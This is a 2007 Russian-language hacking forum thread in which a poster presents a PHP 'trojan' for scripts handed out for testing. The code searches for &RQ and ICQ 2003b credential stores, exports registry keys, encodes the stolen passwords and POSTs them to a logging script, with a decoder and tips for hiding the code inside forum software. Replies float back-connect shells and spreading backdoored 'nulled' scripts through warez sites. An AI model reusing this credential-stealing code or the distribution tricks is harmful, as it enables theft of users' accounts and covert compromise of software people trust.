PDA

Просмотр полной версии : Даем скрипты на тест или как украсть данные.


GreenBear
11.03.2007, 17:33
Даем скрипты на тест или как украсть данные.

Пришла в голову идея: а что если внедрить в наш пхп-код "трояна"?

В этой статье я покажу все на примере кражи пароли из &RQ и icq 2003b, других клиентов у меня под рукой нет =)

&RQ
Просканируем основне папки, где он может лежать на наличие папки &RQ


<?php
$dir = scan_dir();
function scan_dir(){
//Папка с крысой
$rq = '&rq';
//Папки, где она может быть
$da = array(
"C:\\",
"D:\\",
"E:\\",
"C:\\Program Files\\",
"D:\\Program Files\\",
"E:\\Program Files\\"
);
foreach($da as $d){
if(file_exists($d.$rq) AND is_dir($d.$rq)) return $d.$rq;
}

return false;
}
if($dir){
$temp = opendir($dir);
while (false !== ($file = readdir($temp)))
{
if(is_dir($dir.'/'.$file) AND is_numeric($file))
{
if(file_exists($dir.'\\'.$file.'\\andrq.ini')){
$arr = file($dir.'\\'.$file.'\\andrq.ini');
foreach($arr as $a){
if(stristr($a, 'crypted-password')){
$pass .= base64_encode("Number: $file , Password: $a ")."\n";
break;
}
}

}
}
}

}
?>

Вы наверное скажете, ведь можно было просканировать весь жесткий диск на наличие этой папки... А я вам в ответ: попробуйте, потом напишите мне , сколько времени у вас ушло на 200гб диск :)

Ну что же, мы получили данные, в случае удачи. Теперь как их нам отослать? Самое простое что приходит в мозги - послать по мылу.
Но давайте вспомним, что у большинства тестеров стоит денвер с его заглушкой. Хм... Тогда отправим данные к нам на серрвер.

Для начала создадим принимающий скрипт

<?php
$str = $_POST['str'];
$log = 'passwords';
$f = fopen($log, 'a');
fwrite($f, "\n ========== \n" . $str . "\n ========== \n");
fclose($f);
?>


Теперь отсылаем ему данные:

<?php
$host = 'localhost';
$fp = fsockopen ($host, 80, $errno, $errstr, 10);
$r = "POST /pass.php HTTP/1.1
Host: $host
Content-Type: application/x-www-form-urlencoded
Content-Length: ".strlen($pass)."

str=$pass";
fputs ($fp, $r);
fclose($fp);
?>



ICQ 2003b
Тут гораздо проще...

<?php
//Возьмем данные из реестра и запишем их в отдельный файл)
unset($pass);
@system("reg export HKEY_CURRENT_USER\Software\Mirabilis\ICQ\NewOwners tmp");
//Прочтем файл
$pass = urlencode(base64_encode(file_get_contents('tmp'))) ."\n\n";
//пошлем данные
$host = 'localhost';
$fp = fsockopen ($host, 80, $errno, $errstr, 10);
$r = "POST /pass.php HTTP/1.1
Host: $host
Content-Type: application/x-www-form-urlencoded
Content-Length: ".strlen($pass)."

str=$pass";
fputs ($fp, $r);
fclose($fp);
//удалим файл
@unlink('tmp');
?>



Отлично! Все сделали :)
Как просмотреть? Просто раскодируйте строку из файла passwords,
например

<?php
echo urldecode(base64_decode("sdsdsd"));
?>



Для расшифровки паролей можно воспользоваться программой http://www.tolkuchka.dsip.net/index.php?showtopic=19516


Теперь скажете вы, кто же запустит такой скрипт? Да никто :)
Но а что если его проинклудить в том же IPB или VB? Врядли кто будет просматривать все файлы перед запуском... В общем - проявляйте фантазию =)

bxN5
11.03.2007, 17:37
Хорошая статья но каким образом его выполнить на удаленной машине?

GreenBear
11.03.2007, 17:38
Прочитай заголовок внимательнее =)

bxN5
11.03.2007, 17:40
Хе хе=)Догнал..Да идея не плохая все таки не ехе файлы

Iceangel_
11.03.2007, 17:48
Попробую попользоваться... =)
1 вопросик (почти по теме):
Вот у меня идея появилась, не знаю возможно ли такое. Все наверное видели форму для загрузки файлов на файлообменники, а что если сделать такую страничку, заходя на которую, в поле для выбора файла стояло бы такое значение c:\program files\qip\config.txt и javascript'ом автоматически нажимать кнопку и файл пользователя загружался бы на сервер?

GreenBear
11.03.2007, 17:53
Iceangel_, такое невозможно.

Abra
11.03.2007, 19:28
Iceangel_ к сожалению разработчики хтмля, javascript и браузеров тоже не дураками были =)))
никто кроме пользователя не может ввести путь к файлу загрузки.

k1b0rg
11.03.2007, 20:22
я писал что-то подобное
http://forum.antichat.ru/thread23432.html

Abra
11.03.2007, 20:34
небольшой офф
я вообще все скрипты исключительно на веб сервере тестю - нет привычки на локалке запускать :\ в таких случаях можно было бы вставить что-нибудь пытающееся поднять себе права и просмотреть ../../../etc/passw

Talisman
11.03.2007, 22:01
писал такую "гадость" с бекконектом на мой комп:) если комунить интересно, голосуем в моей репе за новую статью :dd +1 хватит, хотя лучше больше))

gemaglabin
11.03.2007, 22:02
Талисман тебя уже опередил слайдер xD

Talisman
11.03.2007, 22:06
мдя... http://forum.antichat.ru/thread34814.html ) ну лан, значит дополню его статью)))
у меня угарные методы шифрования были :))

Ch3ck
12.03.2007, 23:54
Помню ещё толи Монстр, толи Киборг стать писал "Пишем трояна на Php" )))))))))

censored!
13.03.2007, 14:10
Надо было в закрытые, так как такие вещи не афишируются - будет массовый раздрай.

А скрипты для теста легко предоставлять. Делается псевдо релиз нуленого скрипта оформленного по правилам СкриптМафии или ДГТ (с подделкой их чексуммы (точнее - ее эммуляции)). Вываливается на два-три варез портала и... ...и дальше скрипты начинают сами гулять по сети, множась по варезникам.

p.s. По тому принципу что выше - уже полтора месяца идет эксперимент для статьи "Нуллед или не Нуллед". Правда ни вебшел, ни дырки не внедрялись. Но там тоже есть своя фишка. О конечных результатах пока рановато конечно говорить (из-за специфики), но работает относительно хорошо. О полных результатах расскажу позже (через пару месяцев).
p.s.s. К Куби это не имеет никакого отношения. Я не падонак.

Помню ещё толи Монстр, толи Киборг стать писал "Пишем трояна на Php" )))))))))
Да, Киборг эту всю кашу и заварил. В хорошем смысле. Тока как часто и бывает - на отличные решения мало кто внимание обращает. Кроме гринов =)

taha
13.03.2007, 14:30
2Talisman
пиши песочницу на php от таких как GreenBear

GreenBear
13.03.2007, 14:58
Когда киборг писал статью - меня не было в интернете не до, не после в течении долгого времени)) Видеть я ее не мог)
А я блин обрадовался, думал первый идею выложу) эх.

nc.STRIEM
13.03.2007, 16:24
Вобщем то идейка хорошая, но не со всеми прокатит..
Хотя СИ рулит))